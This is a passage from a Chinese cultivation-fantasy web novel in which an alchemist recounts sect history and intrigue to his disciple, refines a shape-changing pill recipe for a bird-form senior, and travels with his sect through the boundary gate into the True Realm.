将来见到裴霁，请他吃一遍？ ——这可都是我深爱你的证明呢，我为情所困、悲痛欲绝, 总要你也尝尝个中滋味，对吧？ 谢琳琅埋头做各种推衍和实验，直到沈鹤上门，才得知宝船已经停了两天，宗门已经带着弟子进行历练了。 “这边沼泽生长着各种魔蛇，还有一些特有的沼泽植物和禽妖，谢师兄若是有意，可以放出雀子让它们自行狩猎。” 沈鹤给谢琳琅送材料的时候热心推荐，“钱师兄给我了一个名录，说他们钱材好商铺收购很多沼泽出产的材料，咱们可以将一部分材料交给宗门算贡献点，再将一部分材料交给钱师兄，兑换成可能需要的真界材料，最后统一在界门城钱材好的总部提取。” 谢琳琅听后有些欣喜：“那很方便啊，给我一份兑换名录，我想要研究一些真界材料。” 其实他想实验一下魔气与真界材料的融合度。 沈鹤左右看了看。 谢琳琅了然：“你那个夜前辈这几天都没来找我，我张开了静室内的阵法，也布置了阵盘，目前是安全的。” 沈鹤立刻拿出了醉平生的丹方材料，他有些不好意思地说：“我找其他前辈们了解了一番真界材料，不知道我总结的资料是否正确……” 谢琳琅挑眉，他接过玉简快速看了一遍，目录赞许之色。 “大部分是正确的，有些说的不够深入，有些资料已经过时了，还有些是错误的，我帮你都修改了。” 谢琳琅飞速用神识将诸如天荷花要用干的、金钱绿不是粉而是一种矿石等错误修正，又将玉简还给了沈鹤。 虽然沈鹤做了无用功，但这份认真用心还是很可取的。 “怎么？你真想炼制醉平生？” “既然我用这个借口来找师兄，那当然要学习炼制了，而且我看夜前辈似乎很喜欢这个丹药，夜前辈终究是林师尊交代给我的任务，我还是想和他好好相处的。” 谢琳琅有些诧异，他仔细打量沈鹤，轻声道：“你没必要讨好所有人。” 沈鹤怔了怔：“我没有……” 话说到一半，他顿住了。 真的没有吗？他是爷爷收养的孩子，真的没有想过假如自己没用，会损耗更多的食物而被爷爷扔掉吗？ 他和爷爷在街上卖甑糕，好摊位是需要抢的，总会有衙役驱赶他们这些商贩，若是得罪了衙役，那他和爷爷辛勤一天也许赚不到一分钱。 好不容易进入了庞氏酒楼帮工，若是被食客讨厌了，被大堂掌柜穿小鞋，他会被开除，甚至会连累一直照顾他的爷爷，他真的没有在努力讨好所有人吗？ 可是对一个孩子来说，除了笑，除了努力变成别人喜欢的样子，讨好别人，他又能怎么办？ “沈鹤，我并不是在否定你的想法，也不是在斥责你。” 谢琳琅常年与天魔为伍，看旁人倒是看得颇为透彻，“你可以稍微自信一些，也不是什么人都能让我认真教导的，如果不相信你自己的话，那就相信我好了。” 沈鹤怔怔地看着面前的少年师尊，心底隐隐有暖意浮动，鼻尖酸涩。 他突然有种绝大的安全感。 “我自然是相信师尊的。” 沈鹤狡猾地说：“那师尊是否愿意相信弟子呢？听带队的前辈说，我们还要在这里停留三天，三天后就启程去下一个秘境，连着两个秘境后我们将抵达真界，师尊以前是真界修士吧？” 言外之意，师尊您以前是做什么的？什么身份啊？能说说吗？ “告诉你也无妨，但不是现在。” 谢琳琅还想让沈鹤帮忙，解开当年他自己在芥子境内留下的限制，自然没打算一直隐瞒，“你提前知道了容易被人看出端倪。” 沈鹤有些失望，但他表示理解。 “好吧，那师尊能和我说一说真界的几个知名宗门吗？趁着夜前辈不在，您给我开点小灶呗。” 看着故意挤眉弄眼做鬼脸状的沈鹤，谢琳琅莞尔。 他略一沉吟就道：“也行，先从与寂夜宫最不对付的天凌宗说起吧。” 沈鹤面色有些难看：“天凌宗？说起来天凌宗为什么和寂夜宫不对付？上次天凌宗的弟子围攻乐师姐，若非乐师姐手段精巧、心思缜密，使了手段，让那几个弟子起了内讧，我和乐师姐没那么容易冲出包围。” “咦？你上次和乐清屏晚了快一个月才回宗门，是被天凌宗围了？” “虽然他们没有表露身份，但乐师姐信誓旦旦保证，绝对是天凌宗弟子，她认出了对方使用的真传术法。” 谢琳琅迟疑良久才道：“咳咳，你听过就算，别说出去，乐清屏的师尊可能曾是真界修士，她……大概可能也许曾是现任天凌宗主的双修道侣。” 沈鹤目瞪口呆：“什么？” “但天凌宗主修的是无情道。” “……啊？” 沈鹤有些不可思议：“他都修无情道了，怎么还有双修道侣？” 谢琳琅漫不经心地把玩着手里的玉佩，唇角挂着一丝冷笑：“所谓门当户对嘛，天凌宗主和姚黄仙子……哦，就是乐清屏那位姓黄的师尊，他们两人分别出自各自宗门里的大家族，因为一些家族利益交换以及灵根问题，在两人年幼时，家族代替他们结为了道侣，他们俩貌似还从小一起长大……” 谢琳琅对这种八卦不感兴趣，他当时的世界只有裴霁和炼丹，这都是裴霁在帮他操纵火焰炼制丹药、为了打发时间而说的修行界八卦。 不同于两耳不闻窗外事的谢琳琅，裴霁有很多朋友，也喜欢凑热闹，自然消息灵通，得知了很多小道消息。 “后来姚黄仙子变成了寂夜宫的黄前辈，天凌宗主亲自带队追杀覆灭了九灵宗的寂夜宫主，中间可能发生了一些事情吧，反正从魔域回来后，天凌宗主就说姚黄仙子自甘堕落，他挥慧剑斩情丝，从此和姚黄仙子一别两宽、一刀两断。” 谢琳琅冷笑，“谁不知道他修无情道却假装天生情感缺失，糊弄人而已。” 沈鹤大开眼界：“怪不得当时天凌宗弟子围着乐师姐时，说什么师尊也有难处，让师姐回头是岸云云，乐师姐还让警告我不许传出去……” 谢琳琅突然想到此前乐清屏向他打听姚黄仙子的事，若有所思：“你知道乐清屏的出身吗？她是魔域人还是真界人？” “我也不清楚，不过我可以稍微打探一下。” 人都有八卦之心，沈鹤眼珠子转了转，他可是大堂小二出身，还干过一阵子包打听，如今重操旧业，竟有些小兴奋呢。 谢琳琅看着沈鹤兴奋搓手手的样子，恍惚间看到了曾经也非常喜欢听八卦、热衷于家长里短的裴霁。 谢琳琅不由自主地微笑起来。 “总之，去了真界后你小心天凌宗修士，他们很好认，总是绷着脸假装冰山，但稍微挤兑两句就会暴脾气，看起来一副高冷的样子，其实很容易破防。” 谢琳琅如此评价。 毕竟作为声名远扬的丹师，谢琳琅也偶尔会去各大宗门交流学习，自然冷眼看过各大宗门的德性。 “接下来就是我们即将抵达的目的地九夏山。” 说起自己过去的宗门，谢琳琅的神色有些复杂。 他从此登上道途，也认识了刻骨铭心的爱人，找到了能发挥自己天赋的道路，却也因此失去了很多宝贵之物。 “你知道上古时代吗？” “我在宗门典籍里看过，说妖族制霸天地的时代被称为上古时代。” “最早修士只是能自如运用天地之气的炼气士，所以炼气士远不如妖魔强悍的时代，统称为上古时代。” 谢琳琅悠悠道，“最后一个妖魔主宰的时代被称为大夏王朝，后来大夏覆灭，残存的夏族人辗转逃窜，躲进了一座非常庞大、连绵不绝的群山。” “由于当时夏族人只剩下了九个，要在上古蛮荒时代仔细搜索一大片群山，只为抓捕区区九个夏族人，是需要花费巨大代价的，于是就有大能通过血脉关系施展诅咒之术：所有夏族人都将被十日吞噬。” 沈鹤听得入神，追问道：“何谓十日？” 谢琳琅作为九夏山的真传，自然很清楚宗门来历，他娓娓道来，“天上有日，天地万物方有生机；十日同出，天地大旱，万物皆死。所以十日吞噬只是一个形容，其实是有炼气士做法，利用血液关系，引发残存夏族人体内血脉沸腾燃烧，最终焚烧为灰烬，消失于天地之间。” 沈鹤倒吸一口冷气。 “但上天有好生之德，大夏王朝终究绵延万余年，总会有一二功德余韵，足以庇护几个残存的族人，最终那九个夏族人里有三人成功活了下来。” 谢琳琅轻轻叹息，“于是年纪最长之人说，大夏遗族在此消失，他们从今以后只是伯夏、仲夏和叔夏，为了纪念一起进入群山的族人，他们将此地取名为九夏山。” “所以九夏山其实是妖族的分支，所修功法和妖族神通颇为类似。” 60-70 第61章 第 61 章 很好，都给他等着！…… 九夏山作为一个盘踞在中西部群山密林里、绵延万余年的宗门, 始终是真界半吊子的二流门派，最根本核心的原因，就是宗门本质上不纯。 ——九夏山最早并不是纯粹的人族修士宗门, 开派祖师爷是大夏末裔。 尽管现在知道的人不多了, 可诸如天凌宗、梦华仙门等宗门还有相关记载, 更别说魔域的某些宗门传承同样极为古老, 甚至能追述到神魔时代, 也很清楚上古之事。 当然时移世易, 天地大道变化，妖族大能早已隐世不出。 众多妖族挤在妖域一地苟延残喘，血脉纯度、觉醒神通的数量以及子嗣出生率都岌岌可危。 妖族早已没有能力再影响真界的大宗门，而九夏山也已然成了人族修行宗门。 但九夏山毕竟传承古老, 还遵循了一些奇怪的规则和习惯, 其中一条就有掌门传位必须传给伯夏一脉。 只有伯夏一脉的修士才能掌握上古大夏遗留的特殊功法。 神幽真人当初是伯夏修士, 尽管他半中腰重修，可神幽真人天纵奇才, 早早掌握了伯夏一脉的特殊功法。 神幽真人一直觉得师尊不选自己而选师弟, 是因为他的大弟子天赋不佳，所以裴霁和谢琳琅两人的大师姐名义上只是神幽真人的记名弟子。 他们这位大师姐也对神幽真人没什么感情，在宗门潜修到元婴期后立刻远走他乡寻找机缘，几乎没有再回来过。 于是真正得了伯夏一脉秘术的人是裴霁。 谢琳琅尽管也拜师神幽真人, 却不算是伯夏修士。 他和掌门师叔一样, 是仲夏一脉的修士。 以前谢琳琅压根不在意这些，他满脑子只有师兄和炼丹。 直到裴霁失踪陨落, 他才骤然发现神幽真人在九夏山的位置非常尴尬，连带着他和师兄裴霁也总是被掌门一系的人暗中窥伺打量。 裴霁陨落前收的两个徒弟只有筑基期，根本没能力修行伯夏一脉的秘术。 于是伯夏一脉的秘术还是回归了掌门师叔的手中。 谢琳琅没有说这些复杂的宗门秘密, 他向沈鹤说了一下九夏山的来历，转而道：“目前九夏山的掌门是个机敏聪慧、还算和气的家伙，只要你不碍着他，又展露出了足够的天赋和能力，他不会找你这样一个低阶修士的麻烦。” “九夏山的修士毕生任务是探索他们背后的群山，一个个都喜欢外出探险，倒是见多识广，你若是有机会了可以和他们多交流。” 谢琳琅也不算是给自己过去的宗门打广告，他能炼制那么多奇奇怪怪的丹药，也有宗门弟子到处乱蹿，总是能拿到奇特材料的原因。 “你不是要找家人吗？九夏山因传承缘故，对妖族和魔修、灵修等异族修士没那么多敌意，你可以试着找他们买消息。” 沈鹤听到这里，眼睛刷得亮了：“那我是不是可以提前炼制一些躲避魔气的丹药，用以与他们进行交换？” 谢琳琅笑着点头：“孺子可教。” 谢琳琅又说了梦华仙门等其他宗门的大概信息，沈鹤听得很认真，暗暗记在心里。 之后的几天，沈鹤一边给谢琳琅送材料，一边开炉炼丹，为之后的真界之行做准备。 宝船在沼泽附近停留了一段时间后，终于启程了。 每天金翎真人都会将弟子上交的各种魔蛇材料抽筋扒皮炖成蛇锅，再恭谨地放在裴寂夜面前。 裴寂夜这几天吃的肚子浑圆。 尽管锅子里蛇身翻涌，看起来造型可怖，可对于禽妖来说却是无上美味。 裴寂夜还非常坏心眼地在高淳秋的病房里吃锅子。 高淳秋同样觉醒了禽妖血脉，还是能够吞噬魔气的毕方分支，看到蛇锅子，只会觉得这香气勾人极了，闻着这股子诱人香气，口腔内不断分泌口水，肚子也在咕咕叫。 对妖族来说，受到重创后快速吞噬其他妖兽血肉是一种不错的缓解身体状况、加速恢复的方法之一。 妖族天性告诉高淳秋，赶紧吃！必须吃！吃了才能快点好起来！ 但裴寂夜会乐意向高淳秋分享美味的蛇羹？ 怎么可能！ 裴寂夜只会一边嘲笑高淳秋，搞他的心态，一边大口大口吞蛇锅子。 高淳秋气得反而精神了几分。 就这么胡吃海喝了几天，裴寂夜重新变回杀马特幼鸟时，他身上的毛发明显丰满了很多，额头那几根杀马特翎羽数量增多了，一部分绒毛变成了黑灰色翎羽，像是从幼崽逐渐走向了亚成鸟一样。 裴寂夜对着镜子扭来扭去，欣赏了一下自己的新造型后，迈着四方步，又去找谢琳琅了。 这天，谢琳琅终于勉强理清楚了筑基期和金丹期能炼制的丹方，想着出门透透气，结果一开门，就看到门边倚着一只毛茸茸的肉翅夜前辈。 谢琳琅挑眉，他敷衍一样抬手作揖。 毕竟是宗门前辈，他现在实力低微，还是别给对方发难的理由。 杀马特小鸟见到谢琳琅后，那双鲜红色的眼睛明显亮了几分。 随即那毛茸茸的脑袋凑到翅膀下面，用鸟喙翻找了一阵子，扯出了一个袋子。 夜前辈叼着袋子，昂着脑袋，似乎很矜持，但那不断转动的鲜红色眼睛已经充分表明了心中的忐忑和踟蹰。 谢琳琅沉默了一下，试探着说：“是前辈给我的？” 杀马特小鸟点点头。 谢琳琅伸手接过袋子，打开一看，里面堆满了蛇牙。 谢琳琅有些诧异，他细细审视这些蛇牙，发现全都怯除了毒性，并用魔气烘烤过了。 只要将蛇牙碾成粉，再配一点别的材料，就能做成一种美毛膏，可以帮助他的雀子们快速换毛。 谢琳琅神色缓和了几分，他收起这袋子蛇牙。 不用想，这肯定是之前宗门弟子在沼泽里历练时上交给宗门的物资。 沈鹤就送了谢琳琅一些蛇骨、蛇蜕、蛇牙、蛇毒等材料。 但杀马特的夜前辈送的品质更好。 谢琳琅的语气真诚了些：“多谢前辈。” 杀马特小鸟歪着脑袋，试探着用鸟喙戳了一下谢琳琅的袍角，见谢琳琅没有抬手拍他，就猛地用爪子抓住袍子边缘，嗖嗖嗖窜到了谢琳琅的肩膀上。 谢琳琅本能地想要将这只鸟甩下去，奈何拿人手短，他还是忍住了。 谢琳琅略一沉吟，还是决定按照自己原定计划去找钱师兄。 之前沈鹤送来了一份钱师兄手里的材料收购名录，谢琳琅已经选好了自己所需的材料，准备和钱师兄做一笔交易。 裴寂夜安稳地窝在谢琳琅的肩膀，他距离谢琳琅极近，甚至能察觉到谢琳琅那漆黑如鸦羽一样的发丝不断拂过他的脑袋。 裴寂夜难得彻底安静下来。 一直以来萦绕在脑海中的、来自悠久遥远的古老吟诵声似乎消失了，那种持续焚烧着、沸腾着的诅咒之毒也像是冰雪消融一般，神魂难得清爽干净、透彻舒服。 只要想着谢玉也许是谢琳琅家族后辈，也许谢玉有着与谢琳琅相似的血脉，裴寂夜心中就生出些许宽慰之情。 但是师弟在哪里呢？ 裴寂夜有些难受地将脑袋藏在翅膀里。 他明明发动了伯夏一脉的秘术，也付出了相应代价，甚至顾不上寂夜宫即将到来的清算，只为给陨落在天劫下的谢琳琅保留一线生机。 理论上谢琳琅应该还在人世，可他找不到他了，哪里都听不到谢琳琅的消息。 如果是转世，现在才刚出生，也可能还没踏过轮回；如果和倒霉师尊神幽真人一样成了别人的随身老爷爷，那应该在一些有大机缘、福运的弟子身边。 这也是裴寂夜想要前往九夏山、参与谢琳琅芥子境争夺的原因之一。 只要盯着争夺中脱颖而出的弟子，裴寂夜就有概率找到谢琳琅。 ……以及他师弟留下的东西，怎么能让给宗门和其他人？ 但还有一种可能，谢琳琅虽然成了别人的随身老爷爷，可那人的资质太差，没资格参与此次争夺。 裴寂夜忍不住心中叹气。 他们的师尊神幽真人当年就遇到了类似的情况。 大师姐是一个普通商户家买来的女佣，名字叫小红。 小红祖上据说是大户人家，只是在夺嫡时站错了位置，全家被贬入了奴籍。 她有一根母亲传给她的黑色手绳，是用一种特殊的金属丝制成，内含乾坤，神幽真人一缕幽魂进入其中，从此成为了小红的随身老爷爷。 神幽真人先帮小红师姐脱离奴籍，再帮小红入道，又带着小红进入了附近的散修联盟，再一步步从最底层的炼气修士中脱颖而出、争抢资源，积累材料，最终帮助神幽真人重塑真身…… 神幽真人耗费了数百年才重回九夏山。 一想到自己倒霉师尊的遭遇，裴寂夜头疼极了，琳琅不会也得苦苦挣扎数百年，才能再一次正式恢复真身吧？ 裴寂夜忧心忡忡，他能活到师弟回来的时候吗？ 谢琳琅并不知道肩膀上的杀马特前辈在想什么，既然这夜前辈难得安静不找事，他就赶紧和钱师兄商量好了材料购买、交换以及丹药买卖等事宜。 钱师兄消息灵通，谢琳琅从钱师兄那得知了一个有趣的消息。 魔域几个宗门也派遣了不少弟子进入真界，以至于最近真界非常热闹，每天都有什么某某宗门天骄大打出手的传言。 “还有很多隐世不出的世家和大乘期的前辈也派遣弟子参与争夺。” 钱师兄说这句话时，表情有些兴奋，那些天骄们打的越厉害，他们这种材料商会才能赚大钱，不管是炼丹还是炼器，都要从他们这里进原材料呢。 “简直是盛世再现啊！” 谢琳琅听后却心生警惕。 什么？很多宗门和不出世的前辈们都冒头了？ 他的芥子境，有那么宝贵吗？ 还是说这群人只是打着探索芥子境的名义，想要做什么？ 谢琳琅心生愠怒。 他都陨落了，留下的芥子境还被人拿来当借口？！ 很好，都给他等着！ 第62章 第 62 章 一个人的旅途太寂寞了。…… 谢琳琅和钱师兄聊天时, 杀马特的夜前辈就窝在谢琳琅的肩膀上听着。 尽管他有些心不在焉，可作为渡劫期的大修士，一心二用是很简单的事。 听到钱师兄分析说这次芥子境争夺有内幕, 裴寂夜难得收敛发散的思维, 稍微认真地打量了一眼钱师兄。 这小子虽然是靠花钱氪金砸出来的名额, 倒也的确有几分机智和警惕。 怪不得宗门高层都很看好这小子, 有魔修的天赋。 这么多宗门集体前往九夏山, 当然不仅仅是芥子境的事。 裴寂夜蜷缩成一团, 心下冷笑，恐怕天凌宗主那个混球还想利用大势，来逼迫他解除当年两人当着姚黄立下的誓约。 无所谓，反正他最近涅槃了, 过去的裴霁早就死了, 这次来的也不是本体, 而是他的妖身，没有任何方法能确认他的身份。 除非天凌宗主真的找到了谢琳琅的转世。 想到这里, 裴寂夜竟又有些心动。 若是天凌宗主真的拿谢琳琅的消息来和他做交易, 嘶，也不是不能谈。 一时间，裴寂夜对即将到来的芥子境探索居然多了几分期待之情。 谢琳琅和钱师兄告辞后，拿着兑换到了一部分材料和更多的名录回到静室。 他开炉炼丹, 很快出了一炉培元丹。 培元丹是用来巩固修士根基所用, 不仅修士能吃，一切修行生物都可以服用以固本培元, 是一款极为大众的、需求量很高的丹药。 每个丹师都会根据自己的情况对培元丹丹方做相应修改。 谢琳琅也有属于自己的培元丹方，如今他转魔修，将过去的丹方做了细微调整, 又用了全新的炼制手法，即便裴寂夜全程看着谢琳琅炼丹，竟也没发现端倪。 他只觉得谢琳琅炼丹的手法很好看，有着强烈的既视感，不愧是谢氏族人。 谢琳琅控制着火候和丹炉内造化之气的变化，很快满丹出炉，他将其中大部分丢入了驯兽袋里，喂给了前几天被夜前辈集体拔毛的雀子们。 考虑到夜前辈难得安静没作妖，还送了不少材料，谢琳琅索性将剩下的几颗培元丹塞进了夜前辈的鸟喙里。 乖巧的夜前辈老老实实地张开鸟喙，由于害怕自己鸟喙边缘锋利的利齿划破谢琳琅的手指，他将嘴巴张的大大的，仿佛一张血盆大口。 谢琳琅心中腹诽，夜前辈是饿了吗，面上不动声色，将丹药塞了过去。 “还请夜前辈指点。” 丹药滑入喉咙，快速化为一抹精纯的魔气于体内游走。 由于裴寂夜的实力太强，吃这种丹药已经没什么作用了，可他还是能品味出谢琳琅炼制出的培元丹水平、品质和效力都极佳。 夜前辈砸吧砸吧鸟喙，矜持地点点头，小声啾啾，吐出了一个玉简，递给了谢琳琅。 谢琳琅挑眉，不动声色地接过来，仔细一看，心中咯噔一下。 这竟是他曾炼制过的朱颜丹配方。 朱颜丹可以让修士变化容颜，很多散修和经常争斗的修士都会储存这种技术性很强的丹药。 自从谢琳琅陨落后，仅存的一些朱颜丹全都水涨船高、卖出了天价。 谢琳琅眸中闪过一丝厉色。 对一个丹师来说，最重要的就是私人丹方。 谢琳琅开发创新了很多丹方和炼制手法，大部分都被他打包塞到芥子境里当做传承，小部分非常紧要的、影响力不太好的丹药技巧成了他的秘传，他从不示人。 为什么夜前辈手上会有朱颜丹的丹方？ 谢琳琅心里泛起了一缕疑惑，他快速看完了丹方，稍微松了口气。 丹方内容不全，缺少一些特殊材料的调制技巧，也没有炼制时对丹炉的掌控变化技术。 应该是有别的丹师，通过朱颜丹逆推出来的丹方？ “似乎是一种改变容颜的丹药？” 谢琳琅假装不知道，“前辈想让我帮忙炼制？但我看上面很多材料都是真界独有，也没有炼制手法，似乎是一种极为高级的丹药，弟子恐力有不逮……” 裴寂夜仔细观察谢琳琅的脸色。 可惜谢琳琅在九夏山多年锻炼，早已练就了一番波澜不惊的心态，裴寂夜什么都没发现。 “没错，丹方不全。” 一直假装无法沟通的夜前辈终于不装了，用魔气在半空写字，“我希望你能改成魔丹，不仅能让变化容颜，连身体形态也进行变化。” 杀马特的夜前辈挺了挺胸，让自己头上的翎羽和胸毛显得蓬松华丽，“我想试着用这种丹药拟态成人型。” 谢琳琅怔了怔，眸光闪烁，提起了几分兴趣：“哦？让妖兽吃了丹药后变成人的形态？那需要妖兽对人的样貌有足够多的认知吧？” 否则妖兽吃了朱颜丹，变出一张骇人的面孔来，那还不如用原本的样子呢。 谢琳琅快速看了一眼杀马特的夜前辈，又赶紧收回视线。 这只鸟敢提这个要求，只说明一件事，要么夜前辈早已有自己的人型，要么夜前辈是从人族修士转为妖族修士的！ 谢琳琅谦逊地说：“我可以试一试，但弟子才疏学浅，前辈也可以找金翎前辈他们帮忙调试丹方。” 裴寂夜：“不要告诉别人。” 他来找谢玉，也是因为这本是谢琳琅的丹方。 当年谢琳琅开发朱颜丹时，裴霁就在旁边拿着狗尾巴草戳谢琳琅的脸颊、故意捣乱。 裴霁多少知道一些这张丹方的思路，再结合着一些丹师反向破译出来的材料，才有了这张丹方。 谢玉好歹是谢琳琅的族人，血脉天赋应该有加成吧？ 裴寂夜本不在乎什么血脉传承，奈何他自己觉醒了妖族血脉，又碰到了脑子进水的堂弟高淳秋，谢玉本人也在炼丹一道上展现出了天赋，最终裴寂夜选择试一试。 知道寂夜宫变更了宫主这件事的人并不多，除了几个有限的魔修外，也就天凌宗主知道一二，其他仙门修士们恐怕还以为寂夜宫主是数百年前成名的老辈修士。 裴寂夜大概知道这群人为什么大张旗鼓地要聚拢这么多人办这场芥子境盛会。 作为可能被诘问的倒霉蛋，裴寂夜的答案取决于芥子境的探索结果。 如果谢琳琅真的还在人间，那就是一种选择。 如果谢琳琅还没转世到人间，那所有人都一起死吧！ 谢琳琅接了杀马特的夜前辈的委托，算是有了不掺和接下来历练的理由。 他索性直接闭关了。 除了沈鹤偶尔会来找他外，大部分时间谢琳琅都在琢磨丹方，剩余的时间则用来推衍当年他留在芥子境里的造化之气到底会“造化”出什么魔。 他的芥子境可是仙品，自带灵性，若只以为芥子境内的考核是普通的对丹药材料的理解和技巧考核，那就大错特错了！ 就在谢琳琅全力准备即将到来的探索时，沈鹤跑来找他，说洪奎在金翎真人的护持下成功结丹了。 “洪师兄之前得了宗门奖励，结丹很顺利，不过他没有将奖励用完。”沈鹤有些纠结，“他问我要不要交换，他可以帮我快速结丹，增加我在芥子境争夺中的优势，师尊您怎么看？” 谢琳琅有些无语：“你才修行了半年不到，现在结丹，小心根基不稳被天劫劈死。” 沈鹤听后如释重负：“您也这么说？太好了，我也对自己没信心，可洪师兄又说机不可失时不再来……” 谢琳琅意味不定地说：“是吗？芥子境内的情况变幻莫测，并不是修为越高越有把握哦。” 沈鹤：“……啊？” 谢琳琅不再解释，他打算直接在芥子境内结丹。 反正有李平湖帮忙伪装身份，也没人知道他在筑基期停留了多久。 宝船就这么走走停停，又经过了两个历练之处后，终于启航直直朝着界门开去。 这天寂夜宫的宝船终于来到真界和魔域的出入口前。 大部分弟子都到甲板上，只见前方出现了一个上百公里长的、顶天立地的瀑布。 瀑布里魔气和灵力相互交缠，形成了诡异的黑白双色瀑布。 瀑布两侧向外延伸着一道道气势恢宏的阵法，半透明的阵法上勾勒着蜿蜒繁复的花纹。 左侧是纯粹的灵力构成，右侧则魔气冲天。 原本是同一片大陆，但魔域的魔气冲入瀑布后，会被阵法过滤返回到魔域，对面的灵力也是同样如此，形成了一个人为的回流之势。 天长日久，无数岁月积累下来，魔域的魔气含量日益增多，灵力则汇聚在大陆中部，两种力量形成了一定规模后又出现了虹吸效果，最终魔域和真界变成了两个截然不同的修炼环境。 “这就是界门啊……” 沈鹤靠在栏杆旁，远远地看着前方恢弘而浩瀚的瀑布，有些失神，“好恐怖的力量，我们要怎么穿过去？” 绵延上百公里的瀑布视觉冲击力极强，轰然落下的灵力和魔气不断冲刷着大地，发出了震耳欲聋的爆鸣声。 只是一些溢散出来的力量，就让远在千里之外的修士们感慨天地力量的浩瀚，人力渺小而微弱，大道艰难，当上下而求索。 谢琳琅静静看着这道界门。 当年他也来过界门，曾想着离开真界去魔域或者妖族聚集地看看，可最终都没能成行。 一个人的旅途太寂寞了，没有裴霁陪着，什么风景都显得单薄无聊，不如回去闭关炼丹。 “下船吧。” 化神期的金翎真人出现在船头，他笑眯眯地招呼众人，“我已经和梦华仙门那边的人联系好了，他们会带我们走传送阵，一切顺利的话，明天就到九夏山了。” 第63章 第 63 章 芥子境还能自己长脚走了…… 寂夜宫一行人在界门前下了船, 金翎真人收起宝船。 近距离站在界门前的平台上，所有人都被视野中接天连地的黑白瀑布所吸引，他们耳边传来金翎真人似乎很遥远的声音。 “不要靠得太近, 容易被滂湃的灵力和魔气吸引进去, 从而失去自我, 身体和紫府被分解同化成一缕瀑布流水。” 沈鹤听到这句话, 下意识地后退了一步, 稍微靠近了点谢琳琅。 站在谢琳琅肩膀上的夜前辈嫌弃地盯着沈鹤, 恨不得将这小子喷走。 有弟子问金翎真人：“那这界门是哪位大能设立的？既然能设立，自然也能在其中停留吧？” “哈哈哈有传言说是上古炼气士为了保障人族有一片纯净之地而设立的国界，后来修士们以残存的阵法为根基，代代进行加固修缮, 才成了现在的界门。” 金翎真人一边带着众人往前走, 一边介绍道：“界门不是单独某个人或者朝夕建立而成的, 是代代修士为了积蓄灵力而绵延下来的浩瀚工程，类似的工程在上古时代比比皆是, 好了, 全都收敛心神，我们准备穿过界门了。” 黑白双色的瀑布轰然落下，冲击着大地，形成了一个深不可测的深渊。 然而还是有一些力量撞击在两侧的岩壁上, 继而向外溅射出了一大片浅薄的灵力幻影。 金翎真人观察了一会, 突然抬手掐了个法诀。 “请诸位道友助我一臂之力，看到即将落下的那一大片灵力瀑流了吗？” 几个元婴修士站在了金翎真人身侧, 共同运转魔气，将十几个弟子一起笼罩起来。 高淳秋作为化神修士，他并未站出来。 经过最近修养和治疗, 尽管高淳秋总算行走如常了，可还未恢复实力。 此刻他披了一件斗篷，遮蔽了面容，藏在了队伍里。 青年微微抬头，看着眼前的气势恢宏的界门瀑布，心情却和来时不可同日而语。 裴霁就这么大咧咧放他回来找师门求证，显然有恃无恐，可见裴霁所说的的确是事实。 但师门恩重如山，师尊和师兄师姐们对他多有照顾，哪怕目的不纯，可他终究平安修行成长到了现在。 高淳秋无法遏制心中对裴霁的迁怒，也无法断然放弃师门百年的养育栽培之情。 他想质问天凌宗主为何漠视秋家被九灵宗猎杀，又想质问裴霁为何要留在寂夜宫，明明寂夜宫的人和九灵宗是一伙的。 但还未恢复的妖力和隐隐作痛的骨肉提醒着他，以他这点实力，别说找到真相、讨回公道了，他甚至可能自身难保。 高淳秋有些神思不属，他到底该怎么办？ 就在此时，金翎真人猛地释放术法，一股淡紫色的魔气包裹着所有人，乳燕投林般冲入了落下的一大片灵力瀑流中。 众多弟子只觉得眼前一花，仿佛被一缕激流裹挟着，身体顺着水流落入到了另一个地方。 下一秒，他们如腾云驾雾，轻飘飘落在了一个小舟上。 眼前景色豁然开朗，竟是一片静谧的湖泊！ 此刻湖面平静如镜，放眼望去竟碧波万顷，直到很远的地方才能隐隐看到山岩。 金翎真人笑着说：“你们往后看。” 沈鹤下意识地转身向后看去，这才惊讶地发现那黑白瀑布竟与他们隔着十几里地远！ “师叔，我们脚下这片小舟是自动出现的吗？” “没错，当年建立界门的大能也考虑过修士出入需要，魔域那边会自动传送到界门周边位置，真界这边会自动出现渡人舟，再往前一些会有一个湖上坊市。” 随着金翎真人的话语，前方湖面上逐渐出现了一艘艘船只。 这些船链接起来，集体漂浮在湖面上，形成了一个大规模的湖上坊市。 “好了，我们要在坊市停留一天，老夫去找梦华仙门的道友，你们可以在这里逛一会。” 金翎真人指着湖上坊市的某个方向，“看到那里了吗？竖着杆子挂着旗帜的位置？那下面时一艘超大的圆形平台，两个时辰后，我们在那集合。” 小舟快如飞剑，刚开始只能远远看到湖上坊市的边缘，几个呼吸间，众人就来到了这片坊市外围的船只旁。 本来有一些明显是做包打听生意的低阶修士想要围上来，但看到打头的金翎真人，再看看明显是结伴过来的十几个修士，顿时停下脚步，留在远处迟疑着。 金翎真人没有理会对方，直接消失不见。 几个元婴修士明显此前来过，他们也向着弟子们点点头，各自处理自己的事情了。 高淳秋拢了拢身上的斗篷，转身消失在了条条小船间的棚屋里。 裴寂夜收回注视的目光，这才发现沈鹤又凑到了谢琳琅身边，俩人正商量着怎么转湖上坊市。 杀马特的夜前辈再一次对着沈鹤目露凶光。 沈鹤已经摸清楚了夜前辈的弱点，反正在谢师兄身前，夜前辈不会做什么。 “我们去钱师兄的铺子看看？” “也好，不过要先去兑换一些真界通行的灵石，打听一下这边的物价。” 李平湖给谢琳琅写的身世里，有一条是出身谢氏，也就是说他应该知道界门这边的情况。 由于夜前辈一直赖在他肩膀上，谢琳琅只能努力表现我来过，稍微知道点情况，但只是路过，不清楚具体情况的样子。 “那我们要找一个包打听吗？” “找一个吧，顺便打听一下消息，我听钱师兄提过一句，好像有很多不出世的前辈和散修中的强者都会参与这次的探索。” 沈鹤和谢琳琅一边聊着，一边跳下了小舟，进入了湖上坊市。 他们找了一个年纪不大的炼气修士，这女修看上去十六七岁，据说本是凡俗人，在附近做来往修士的生意，得了机缘也成为修士，非常熟悉周围情况。 “两位前辈要换魔石和灵石？各家铺子的兑换比率不一样。” 女修很爽利，“去大铺子，换的灵石少些，去黑市上能换更多，但也容易被某些散修盯上，从湖上坊市去最近的大城，哪怕御剑飞行，最快也要三四天，很容易遇到伏击，端看两位选择了。” 谢琳琅：“我们跟随宗门宝船过来，可能会直接走坊市的传送阵。” 女修有些惊喜：“湖上坊市的传送阵开一次可费钱了，想来两位前辈必然出身高门，来日成就不可限量。” 